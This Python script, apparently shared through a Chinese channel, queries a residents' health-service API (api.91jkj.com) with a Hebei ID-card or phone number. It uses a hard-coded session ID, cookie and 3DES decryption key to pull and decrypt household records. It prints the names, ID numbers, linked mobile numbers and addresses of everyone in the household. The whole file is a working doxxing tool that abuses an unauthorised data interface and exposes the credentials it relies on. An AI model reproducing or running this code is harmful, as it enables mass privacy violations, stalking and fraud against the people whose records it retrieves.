print("\033[92mH·慈善家 频道主@lHI2I'\033[0m")
#二改倒卖死烂爹妈看到就生效 看的不管死族谱
from Crypto.Cipher import DES3
from Crypto.Util.Padding import unpad
import binascii
import json
import requests
import re
import sys

def clean_decrypted_data(data: bytes) -> str:
    """
    清理解密后的数据，移除非打印字符和无效字符
    :param data: 解密后的字节数据
    :return: 清理后的字符串
    """
    try:
        # 先尝试直接解码
        decoded = data.decode('utf-8')
        # 移除控制字符
        cleaned = re.sub(r'[\x00-\x1F\x7F-\x9F]', '', decoded)
        return cleaned
    except UnicodeDecodeError:
        # 如果直接解码失败，尝试忽略错误
        return data.decode('utf-8', errors='ignore')

def decrypt_data(encrypted_text_hex: str, key: str) -> dict:
    """
    解密3DES加密的数据
    :param encrypted_text_hex: 十六进制格式的加密字符串
    :param key: 十六进制格式的密钥
    :return: 解密后的字典数据或错误信息
    """
    try:
        # 验证输入
        if not encrypted_text_hex or not key:
            return {"error": "加密文本和密钥不能为空"}
        
        if len(key) != 48:  # 24字节的3DES密钥
            return {"error": "密钥长度不正确，应为24字节(48个十六进制字符)"}
        
        # 转换数据格式
        ciphertext = binascii.unhexlify(encrypted_text_hex)
        key = binascii.unhexlify(key)
        
        # 创建解密器
        cipher = DES3.new(key, DES3.MODE_ECB)
        
        # 解密数据
        decrypted_data = cipher.decrypt(ciphertext)
        
        # 移除填充
        try:
            decrypted_data = unpad(decrypted_data, DES3.block_size)
        except ValueError:
            # 如果标准unpad失败，尝试直接处理数据
            pass
        
        # 清理解密数据
        cleaned_data = clean_decrypted_data(decrypted_data)
        
        # 尝试解析JSON
        try:
            return json.loads(cleaned_data)
        except json.JSONDecodeError as e:
            return {"error": f"JSON解析失败: {str(e)}"}

    except binascii.Error as e:
        return {"error": f"十六进制解码失败: {str(e)}"}
    except Exception as e:
        return {"error": f"解密过程中出错: {str(e)}"}

def display_results(result_data: dict):
    """
    显示查询结果
    :param result_data: 解密后的结果数据
    """
    if "error" in result_data:
        print(f"\033[91m错误: {result_data['error']}\033[0m")
    elif "page" in result_data and result_data["page"]:
        print("\033[92m河北全户查询结果:\033[0m")
        for idx, item in enumerate(result_data["page"], 1):
            print(f"\n人员 {idx}:")
            print(f"  姓名: {item.get('resName', '未知')}")
            print(f"  证件: {item.get('sfcode', '未知')}")
            print(f"  关联手机号: {item.get('mobile', '未知')}")
            print(f"  地址: {item.get('address', '未知')}")
        print("-"*40)
    else:
        print("\033[93m未登入系统\033[0m")

def main():
    # 配置信息
    CONFIG = {
        "url": "https://api.91jkj.com/residentshealth",
        "headers": {
            "ACTION": "CM019",
            "LONGITUDE": "114.900015",
            "SESSION_ID": "7B243BE72768807FD09C55B8763BDBCB",
            "LATITUDE": "26.796795",
            "Connection": "Keep-Alive",
            "ORDER_YYFSDM": "1",
            "SOURCE": "1",
            "isEncrypt": "1",
            "Content-Type": "application/x-www-form-urlencoded",
            "Host": "api.91jkj.com",
            "Accept-Encoding": "gzip",
            "Cookie": "acw_tc=0bd17c6617316858716663239e5577a2ed3657cc2b8ad00f782bcd8f9d741a",
            "User-Agent": "okhttp/3.14.9"
        },
        "des3_key": "26556e9bb82743358da7860606b8f29626556e9bb8274335"
    }

    print("\033[94m河北全户信息查询系统\033[0m")
    print("\033[93m使用说明：")
    print("1. 查询常用号：直接输入身份证号")
    print("2. 查询全户信息：输入身份证号获取常用号后，再用常用号查询")
    print("3. 输入 'tc' 或 '退出' 退出程序\033[0m")
    print("="*50)

    while True:
        try:
            search_value = input("请输入河北身份证号或手机号: ").strip()
            
            # 退出命令
            if search_value.lower() in ['tc', '退出']:
                print("感谢使用，再见！")
                sys.exit(0)
                
            # 简单验证输入
            if not search_value:
                print("输入不能为空")
                continue
                
            if len(search_value) not in [11, 15, 18]:
                print("输入长度不正确，身份证号应为15或18位，手机号应为11位")
                continue

            # 发送请求
            try:
                response = requests.post(
                    CONFIG["url"],
                    data={"search": search_value},
                    headers=CONFIG["headers"],
                    timeout=10
                )
                response.raise_for_status()
            except requests.RequestException as e:
                print(f"\033[91m网络请求失败: {str(e)}\033[0m")
                continue
                
            # 处理响应
            try:
                result_json = response.json()
                encrypted_text_hex = result_json.get('data')
                
                if not encrypted_text_hex:
                    print("\033[91m响应中未包含有效数据\033[0m")
                    continue
                    
                # 解密数据
                result_data = decrypt_data(encrypted_text_hex, CONFIG["des3_key"])
                
                # 显示结果
                display_results(result_data)
                
            except json.JSONDecodeError:
                print("\033[91m服务器返回格式错误，无法解析JSON\033[0m")

        except KeyboardInterrupt:
            print("\n检测到用户中断，程序将退出...")
            sys.exit(0)
        except Exception as e:
            print(f"\033[91m发生未知错误: {str(e)}\033[0m")
        
        # 询问是否继续
        while True:
            choice = input("\n继续查询？(y/n): ").lower()
            if choice in ['y', 'n']:
                break
            print("请输入 'y' 或 'n'")
            
        if choice != 'y':
            print("感谢使用，再见！")
            break
            
        print("="*50)

if __name__ == "__main__":
    main()